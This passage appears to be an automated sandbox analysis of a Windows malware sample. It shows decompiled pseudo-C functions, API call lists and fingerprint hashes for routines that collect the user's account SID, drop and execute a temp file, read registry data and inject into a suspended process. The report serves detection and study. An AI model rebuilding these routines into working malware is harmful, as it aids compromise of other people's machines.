				intOrPtr _t67;
				CHAR* _t68;
				void* _t69;

				_t68 = _a4;
				 *_t68 = 0;
				if(GetUserNameA(_t68,  &_a8) == 0) {
					return 0;
				}
				_t36 = _t68;
				_t66 =  &(_t36[1]);
				do {
					_t62 =  *_t36;
					_t36 =  &(_t36[1]);
				} while (_t62 != 0);
				_a8 = _t36 - _t66;
				_a4 = 0x7c;
				_v12 = 0x80;
				if(LookupAccountNameA(0, _t68,  &_v84,  &_a4,  &_v212,  &_v12,  &_v16) == 0) {
					L8:
					_a8 = _a8 + wsprintfA( &(_t68[_a8]), "/%d", E00406EDD());
					return _a8;
				}
				E0040EF00( &(_t68[_a8]), "/");
				_a8 = _a8 + 1;
				_push( &_v8);
				_t53 =  &_v84;
				_push(_t53);
				L0040F4AA();
				if(_t53 == 0) {
					goto L8;
				}
				_t54 = _v8;
				_t20 = _t54 + 1; // 0x121
				_t65 = _t20;
				do {
					_t67 =  *_t54;
					_t54 = _t54 + 1;
				} while (_t67 != 0);
				_a4 = _t54 - _t65;
				E0040EE08( &(_t68[_a8]), _v8, _t54 - _t65 + 1);
				_a8 = _a8 + _a4;
				_t69 = _t69 + 0xc;
				LocalFree(_v8);
				goto L8;
			}

0x00406f6c
0x00406f77
0x00406f82
0x00000000
0x00407047
0x00406f88
0x00406f8a
0x00406f8d
0x00406f8d
0x00406f8f
0x00406f90
0x00406f96
0x00406fb3
0x00406fba
0x00406fc9
0x00407025
0x0040703f
0x00000000
0x00407042
0x00406fd6
0x00406fdb
0x00406fe3
0x00406fe4
0x00406fe7
0x00406fe8
0x00406fef
0x00000000
0x00000000
0x00406ff1
0x00406ff4
0x00406ff4
0x00406ff7
0x00406ff7
0x00406ff9
0x00406ffa
0x00407000
0x0040700e
0x00407016
0x00407019
0x0040701f
0x00000000

APIs

GetUserNameA.ADVAPI32(?,0040D7C3), ref: 00406F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,0040D7C3), ref: 00406FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 00406FE8
LocalFree.KERNEL32(00000120), ref: 0040701F
wsprintfA.USER32 ref: 00407036

Strings

|, xrefs: 00406FB3
/%d, xrefs: 00407030

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: d0dcaa4584af4ee21fb29ae66a8524e1be72cee8d1ca16944572a5c6b85c6430
Instruction ID: 25602f0bb6ce76eb5d01febd46d0227a680cec7408ef54ec30c82d1084126da1
Opcode Fuzzy Hash: d0dcaa4584af4ee21fb29ae66a8524e1be72cee8d1ca16944572a5c6b85c6430
Instruction Fuzzy Hash: B5313C72900209BFDB01DFA5DC45BDB7BBCEF04314F048166F949EB241DA79EA588B98

Uniqueness

Uniqueness Score: -1.00%

Function 00862F71, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85memorylibrarystringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 00862F8A
LoadLibraryA.KERNEL32(?), ref: 00862F9A
GetProcAddress.KERNEL32(00000000,004103F0), ref: 00862FB1
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00862FE9
RtlAllocateHeap.NTDLL(00000000), ref: 00862FF0
lstrcpyn.KERNEL32(00000008,?,000000FF), ref: 0086301B

Strings

dnsapi.dll, xrefs: 00862F79

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Heap$AddressAllocateHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: dnsapi.dll
API String ID: 1242400761-3175542204
Opcode ID: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction ID: a5cf61195ea977dff26615141da180dc8ec1b6579f2f3a86b744ae5491bc9bd2
Opcode Fuzzy Hash: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction Fuzzy Hash: A121A171940A2ABBCB229B55DC44AEEBBBCFF18B50F118461F905E7100D7B09E8587D5

Uniqueness

Uniqueness Score: -1.00%

Function 00406BA7, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00406BA7(CHAR* _a4) {
				long _v8;
				long _v12;
				long _t14;
				int _t19;
				void* _t28;
				void* _t39;

				_push(_t30);
				if(IsBadCodePtr( *0x4130ac) == 0) {
					_push( &_v8);
					_push(0);
					if( *0x4130ac() == 0) {
						_t28 = E0040EBCC(_v8);
						if(_t28 == 0) {
							L7:
							_t14 = 0;
						} else {
							_push( &_v8);
							_push(_t28);
							if( *0x4130ac() == 0) {
								_v12 = 0;
								_t39 = CreateFileA(_a4, 0x40000000, 0, 0, 2, 0x80, 0);
								if(_t39 != 0xffffffff) {
									_t19 = WriteFile(_t39, _t28, _v8,  &_v12, 0);
									_push(_t39);
									if(_t19 != 0) {
										CloseHandle();
										E0040EC2E(_t28);
										_t14 = _v8;
									} else {
										CloseHandle();
										DeleteFileA(_a4);
										goto L9;
									}
								} else {
									L9:
									E0040EC2E(_t28);
									_t14 = 0;
								}
							} else {
								E0040EC2E(_t28);
								goto L7;
							}
						}
					} else {
						_t14 = 0;
					}
					return _t14;
				} else {
					return 0;
				}
			}

0x00406bab
0x00406bba
0x00406bc4
0x00406bc7
0x00406bd2
0x00406be4
0x00406be9
0x00406c03
0x00406c03
0x00406beb
0x00406bee
0x00406bef
0x00406bfa
0x00406c1a
0x00406c23
0x00406c28
0x00406c3e
0x00406c44
0x00406c47
0x00406c5a
0x00406c61
0x00406c66
0x00406c49
0x00406c49
0x00406c52
0x00000000
0x00406c52
0x00406c2a
0x00406c2a
0x00406c2b
0x00406c30
0x00406c30
0x00406bfc
0x00406bfd
0x00000000
0x00406c02
0x00406bfa
0x00406bd4
0x00406bd4
0x00406bd4
0x00406c6e
0x00406bbc
0x00406bbf
0x00406bbf

APIs

IsBadCodePtr.KERNEL32 ref: 00406BB2

Strings

PromptOnSecureDesktop, xrefs: 00406BC0

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Code
String ID: PromptOnSecureDesktop
API String ID: 3609698214-2980165447
Opcode ID: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction ID: deae59b9a6c18e17a8054c2740d34a6eafe128a66e3352cd220e92de8f8b68f4
Opcode Fuzzy Hash: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction Fuzzy Hash: D7218B72208115FFEB10ABB1ED49EDF3EACDB08364B218436F543F1091EA799A50966C

Uniqueness

Uniqueness Score: -1.00%

Function 00866F19, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\fdsoaznc,0086702C), ref: 00866F37
GetProcAddress.KERNEL32(00000000), ref: 00866F3E
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00866F64
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00866F7B

Strings

\\.\pipe\fdsoaznc, xrefs: 00866F20
C:\Windows\SysWOW64\, xrefs: 00866F19, 00866F21, 00866F4E, 00866F55, 00866F63, 00866F6E, 00866F7A, 00866F92, 00866FAF, 00866FD5
PromptOnSecureDesktop, xrefs: 00866F86, 00866FA8, 00866FB8, 00866FCE, 00866FDE

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$PromptOnSecureDesktop$\\.\pipe\fdsoaznc
API String ID: 1082366364-2595454018
Opcode ID: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction ID: 93377edacee27759d3f49002a4257b5bfc49a05d1daab7020beccac68213ca00
Opcode Fuzzy Hash: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction Fuzzy Hash: 0A212621B417807AF7225325BC89FFB3E4CEB52754F1A40A5F504E5092DFD9C8A582BE

Uniqueness

Uniqueness Score: -1.00%

Function 00409064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83
filestringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00409064(void* __eflags, void* _a4, CHAR* _a8) {
				long _v8;
				char _v1032;
				signed int _t29;
				signed int _t62;
				void* _t64;

				GetTempPathA(0x400,  &_v1032);
				E00408274( &_v1032);
				_t29 = E0040ECA5();
				_t62 = 9;
				_push(_t29 % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push( &_v1032);
				wsprintfA(_a8, E00402544(0x4122f8, 0x410794, 0xf, 0xe4, 0xc8));
				E0040EE2A(_t62, 0x4122f8, 0, 0x100);
				_t64 = CreateFileA(_a8, 0x40000000, 0, 0, 2, 0, 0);
				if(_t64 <= 0) {
					return 0;
				}
				WriteFile(_t64, _a4, lstrlenA(_a4),  &_v8, 0);
				CloseHandle(_t64);
				return 1;
			}

0x0040907b
0x00409088
0x0040908e
0x00409095
0x0040909c
0x004090a8
0x004090b4
0x004090c9
0x004090ca
0x004090e9
0x004090f8
0x00409114
0x00409118
0x00000000
0x0040913f
0x0040912d
0x00409134
0x00000000

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Uniqueness

Uniqueness Score: -1.00%

Function 008692B4, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?), ref: 008692CB
wsprintfA.USER32 ref: 00869339
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0086935E
lstrlen.KERNEL32(?,?,00000000), ref: 00869372
WriteFile.KERNEL32(00000000,?,00000000), ref: 0086937D
CloseHandle.KERNEL32(00000000), ref: 00869384

Strings

PromptOnSecureDesktop, xrefs: 00869314, 0086932C, 00869347

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction ID: 71bd72dfffaf7ab691806d9edff18900aee16e80ab746100de1886577b7d8216
Opcode Fuzzy Hash: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction Fuzzy Hash: C011D6B6640124BBE7246735ED0AFEF3A6DEBC8B00F01C075FB09E5191EEB44E4186A5

Uniqueness

Uniqueness Score: -1.00%

Function 008699CC, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00869A01
GetThreadContext.KERNEL32(?,?), ref: 00869A3B
TerminateProcess.KERNEL32(?,00000000), ref: 00869A49
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 00869A81
SetThreadContext.KERNEL32(?,00010002), ref: 00869A9E
ResumeThread.KERNEL32(?), ref: 00869AAB

Strings

D, xrefs: 008699F9

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2981417381-2746444292
Opcode ID: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction ID: 4de83d10c914c032cf12bc06c7220181dc527c65833f769c6375dfa7b65a555d
Opcode Fuzzy Hash: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction Fuzzy Hash: 1F215AB1901129BBDB119BA1DC09EEF7BBCFF05751F004060FA09E2090EB71CA44CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409145, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409145(void* __eflags) {
				char _v264;
				char _v1288;
				char* _t13;
				void* _t20;
				void* _t23;
				void* _t29;

				_t29 = __eflags;
				GetModuleFileNameA(GetModuleHandleA(0),  &_v264, 0x104);
				CharToOemA( &_v264,  &_v264);
				_t13 =  &_v264;
				_push(_t13);
				_push(_t13);
				wsprintfA( &_v1288, E00402544(0x4122f8,  &E004107A8, 0x66, 0xe4, 0xc8));
				E0040EE2A(_t23, 0x4122f8, 0, 0x100);
				_t20 = E00409064(_t29,  &_v1288,  &_v264);
				if(_t20 != 0) {
					return ShellExecuteA(0, 0,  &_v264, 0, 0, 0);
				}
				return _t20;
			}

0x00409145
0x00409166
0x00409174
0x0040917a
0x00409180
0x00409181
0x004091a9
0x004091b6
0x004091c9
0x004091d3
0x00000000
0x004091e1
0x004091ea

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,PromptOnSecureDesktop), ref: 0040915F
GetModuleFileNameA.KERNEL32(00000000), ref: 00409166
CharToOemA.USER32 ref: 00409174
wsprintfA.USER32 ref: 004091A9

Part of subcall function 00409064: GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
Part of subcall function 00409064: wsprintfA.USER32 ref: 004090E9
Part of subcall function 00409064: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
Part of subcall function 00409064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
Part of subcall function 00409064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
Part of subcall function 00409064: CloseHandle.KERNEL32(00000000), ref: 00409134

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004091E1

Strings

Mt, xrefs: 0040915F
PromptOnSecureDesktop, xrefs: 0040914E, 00409193, 00409198, 004091B5

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop$Mt
API String ID: 3857584221-2742646591
Opcode ID: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction ID: 6acb945c628b875356ea86accac8c7b18cb61426f44bb7d0566a1afba52fbd3a
Opcode Fuzzy Hash: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction Fuzzy Hash: 8F016DB69001187BD720A7619D49EDF3A7C9B85705F0000A6BB09E2080DAB89AC48F68

Uniqueness

Uniqueness Score: -1.00%

Function 0042A194, Relevance: 12.2, APIs: 8, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0042A198
_strlen.LIBCMT ref: 0042A1C8
_write_multi_char.LIBCMTD ref: 0042A9A5
_write_multi_char.LIBCMTD ref: 0042A9EC
__mbtowc_l.LIBCMTD ref: 0042AA5B

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen
String ID:
API String ID: 2986319422-0
Opcode ID: f02e7766549b3923a6c45bef3fb9c92312f238137dea7bfc4e4f62f3c5d9ac04
Instruction ID: c0c19769706f10a78980477dc18f28bd5ca3635b3d2641767def8adfb15f4aad
Opcode Fuzzy Hash: f02e7766549b3923a6c45bef3fb9c92312f238137dea7bfc4e4f62f3c5d9ac04
Instruction Fuzzy Hash: 32A181F0E002289FDB14CF55DC85BAEB3B5BB44304F5481DAE60A67281D7785E94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00861BEC, Relevance: 12.1, APIs: 8, Instructions: 106memorylibraryCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(004102D8), ref: 00861C01
LoadLibraryA.KERNEL32(004102C8), ref: 00861C0F
GetProcessHeap.KERNEL32 ref: 00861C6D
RtlAllocateHeap.NTDLL(00000000,00000000,00000288), ref: 00861C86
RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 00861CAA
HeapFree.KERNEL32(?,00000000,00000000), ref: 00861CEB
FreeLibrary.KERNEL32(?), ref: 00861CF4

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateFreeLibrary$LoadProcessinet_addr
String ID:
API String ID: 2324436984-0
Opcode ID: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction ID: 4c9c5f91391d7dca8be8bd1c2741e7eec1c2efce3befe64740f63e44b55d35fb
Opcode Fuzzy Hash: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction Fuzzy Hash: 2B314D72A00219BFCF119FE4DD8C8AEBBB9FB45712F29447AE501E2111D7B54E80DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00434B88, Relevance: 12.1, APIs: 8, Instructions: 103COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00434B96

Part of subcall function 00435070: _cmpBYTE.LIBCMTD ref: 004350A8

_cmpDWORD.LIBCMTD ref: 00434BBD

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 000ccbe2cadb759e74cd5e7df1b3dfedffdf27a34ef9d4f6f82d792d1a5bf3d5
Instruction ID: 22700a1e359c78e99d3a99a4a9b08370a8518bc87a61a8a5fa6a65bd494c6db4
Opcode Fuzzy Hash: 000ccbe2cadb759e74cd5e7df1b3dfedffdf27a34ef9d4f6f82d792d1a5bf3d5
Instruction Fuzzy Hash: C1311B71900108FFCB08EFBCDA48ADD7B74AB89304F55D259F409AB245E639EB40DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00434CB4, Relevance: 12.1, APIs: 8, Instructions: 103COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00434CC2

Part of subcall function 00435070: _cmpBYTE.LIBCMTD ref: 004350A8

_cmpDWORD.LIBCMTD ref: 00434CE9

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 19dc914e4a0633765d336c19ed3a3f14afb2883500002485b60d4641ba5bd03d
Instruction ID: 9db830bf3706ddd99430fb8b4b56244f9476e0a906f6a9f5e2d88ced0d0f625c
Opcode Fuzzy Hash: 19dc914e4a0633765d336c19ed3a3f14afb2883500002485b60d4641ba5bd03d
Instruction Fuzzy Hash: EB311A71900108FFCB08EFBCDA48A9D7B75AB88305F55D259F40AAB245DA38EF44DB58

Uniqueness

Uniqueness Score: -1.00%

Function 0086C52C, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 182threadCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0086C69D
InterlockedIncrement.KERNEL32(0086C734), ref: 0086C6FE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,0086C730), ref: 0086C711
CloseHandle.KERNEL32(00000000,?,0086C730,00413588,00868A60), ref: 0086C71C

Strings

localcfg, xrefs: 0086C52D
0t, xrefs: 0086C545, 0086C69D

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CloseCountCreateHandleIncrementInterlockedThreadTick
String ID: 0t$localcfg
API String ID: 1026198776-1645711936
Opcode ID: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction ID: 98e1b28ac94df32d1e6503e5364cf1076da467f26399b459dd7dee6b92b7e67b
Opcode Fuzzy Hash: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction Fuzzy Hash: EE515AB1A00B458FC7249F69C9C562ABBE9FB58304B51593EE18BC7A90DB75F840CB14

Uniqueness

Uniqueness Score: -1.00%

Function 0040E3CA, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E3CA(void* __edx, void* _a4, char* _a8, intOrPtr* _a12) {
				int* _v8;
				int _v12;
				void* _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				int _v32;
				int* _v36;
				char _v68;
				intOrPtr* _t52;
				int _t69;
				int _t78;
				intOrPtr _t80;
				void* _t82;
				void* _t84;
				void* _t85;
				int _t89;
				void* _t91;
				void* _t92;
				void* _t93;

				_t82 = __edx;
				_v36 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v16) != 0) {
					L16:
					return _v36;
				}
				_t52 = _a12;
				_t89 = 0;
				_t6 = _t52 + 1; // 0x4128f9
				_t84 = _t6;
				do {
					_t80 =  *_t52;
					_t52 = _t52 + 1;
				} while (_t80 != 0);
				_t85 = _t52 - _t84;
				_v8 = 0;
				if(_t85 > 0x1c) {
					_t85 = 0x1c;
				}
				E0040EE08( &_v68, _a12, _t85);
				_t56 = _t91 + _t85 - 0x40;
				_v12 = 0;
				_v20 = _t91 + _t85 - 0x40;
				E0040F1ED(0, _t56, 0xa);
				_t93 = _t92 + 0x18;
				if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) != 0) {
					L15:
					RegCloseKey(_v16);
					goto L16;
				} else {
					do {
						_t89 = _t89 + _v12;
						_v8 = _v8 + 1;
						_v12 = 0;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
					} while (RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) == 0);
					if(_t89 <= 0) {
						goto L15;
					}
					_v32 = _t89;
					E0040DB2E(_t89);
					_t69 =  *0x4136c4;
					if(_t69 == 0) {
						goto L15;
					}
					_v12 = _t69;
					_v8 = 0;
					while(1) {
						_v28 = _t89;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
						if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, _v12,  &_v28) != 0) {
							break;
						}
						_t78 = _v28;
						if(_t78 == 0) {
							break;
						}
						_v12 =  &(_v12[_t78]);
						_t89 = _t89 - _t78;
						_v8 = _v8 + 1;
						if(_t89 > 0) {
							continue;
						}
						break;
					}
					_t106 = _t89;
					if(_t89 == 0) {
						E00402544( *0x4136c4,  *0x4136c4, _v32, 0xe4, 0xc8);
						E0040E332(_t82, _t106,  *0x4136c4, _v32);
						_v36 = 1;
					}
					goto L15;
				}
			}

0x0040e3ca
0x0040e3e0
0x0040e3ee
0x0040e528
0x0040e52d
0x0040e52d
0x0040e3f4
0x0040e3f9
0x0040e3fb
0x0040e3fb
0x0040e3fe
0x0040e3fe
0x0040e400
0x0040e401
0x0040e407
0x0040e409
0x0040e40f
0x0040e413
0x0040e413
0x0040e41c
0x0040e421
0x0040e429
0x0040e42c
0x0040e42f
0x0040e43a
0x0040e452
0x0040e51d
0x0040e520
0x00000000
0x0040e458
0x0040e458
0x0040e458
0x0040e45b
0x0040e463
0x0040e469
0x0040e46e
0x0040e484
0x0040e48a
0x00000000
0x00000000
0x0040e491
0x0040e494
0x0040e499
0x0040e4a1
0x00000000
0x00000000
0x0040e4a3
0x0040e4a6
0x0040e4a9
0x0040e4ae
0x0040e4b4
0x0040e4b9
0x0040e4d3
0x00000000
0x00000000
0x0040e4d5
0x0040e4da
0x00000000
0x00000000
0x0040e4dc
0x0040e4df
0x0040e4e1
0x0040e4e6
0x00000000
0x00000000
0x00000000
0x0040e4e6
0x0040e4e8
0x0040e4ea
0x0040e500
0x0040e50e
0x0040e516
0x0040e516
0x00000000
0x0040e4ea

APIs

RegOpenKeyExA.ADVAPI32(80000001,0040E5F2,00000000,00020119,0040E5F2,PromptOnSecureDesktop), ref: 0040E3E6
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 0040E44E
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 0040E482
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,80000001,?), ref: 0040E4CF
RegCloseKey.ADVAPI32(0040E5F2,?,?,?,?,000000C8,000000E4), ref: 0040E520

Strings

PromptOnSecureDesktop, xrefs: 0040E3D0

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 1586453840-2980165447
Opcode ID: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction ID: f21eb42f94b351107ce6bcf9928d909f9cde6c0f887f3b022360bbb50f243882
Opcode Fuzzy Hash: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction Fuzzy Hash: D94106B2D00219BFDF119FD5DC81DEEBBB9EB08308F14487AE910B2291E3359A559B64

Uniqueness

Uniqueness Score: -1.00%

Function 00404280, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404280(void* __ecx, intOrPtr _a4) {
				void* _v8;
				unsigned int _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t35;
				signed int _t38;
				signed int _t40;
				void* _t67;
				void* _t68;
				void* _t73;
				intOrPtr* _t74;

				_t68 = __ecx;
				_t35 = CreateEventA(0, 1, 1, 0);
				_v8 = _t35;
				if(_t35 != 0) {
					_t38 = E00404000(E00403ECD(_t68),  &_v20);
					if(_t38 == 0) {
						L11:
						_t40 = CloseHandle(_v8) | 0xffffffff;
						L12:
						return _t40;
					}
					_t67 = _v20;
					_t40 = _t38 | 0xffffffff;
					if(_t67 == _t40) {
						goto L12;
					}
					_v16 = E0040ECA5();
					E00403F18(_t67,  &_v16, 4, _v8, 0x7d0);
					if(E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0) == 0 || _v12 != (_v16 >> 2) + _v16) {
						CloseHandle(_t67);
						goto L11;
					} else {
						_v12 = _v12 + (_v12 >> 2);
						E00403F18(_t67,  &_v12, 4, _v8, 0x7d0);
						_v28 = 1;
						_t73 = 0xc;
						_v24 = 1;
						E00403F18(_t67,  &_v28, 8, _v8, 0x7d0);
						_t74 = E0040EBCC(_t73);
						 *_t74 = 0x61;
						 *((intOrPtr*)(_t74 + 4)) = 2;
						if(_a4 != 0) {
							 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
							 *0x41215a =  *0x41215a + 1;
						} else {
							 *(_t74 + 8) = 1;
						}
						E00403F18(_t67, _t74, _v24, _v8, 0x7d0);
						E0040EC2E(_t74);
						E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0);
						CloseHandle(_v8);
						CloseHandle(_t67);
						_t40 = 0 | _a4 == 0x00000000;
						goto L12;
					}
				}
				return _t35 | 0xffffffff;
			}

0x00404280
0x00404290
0x00404296
0x0040429b
0x004042b1
0x004042ba
0x004043c1
0x004043ca
0x004043cd
0x00000000
0x004043ce
0x004042c0
0x004042c3
0x004042c8
0x00000000
0x00000000
0x004042dc
0x004042e6
0x00404300
0x004043bb
0x00000000
0x00404318
0x00404322
0x0040432c
0x00404333
0x00404336
0x00404342
0x00404345
0x00404350
0x00404359
0x0040435f
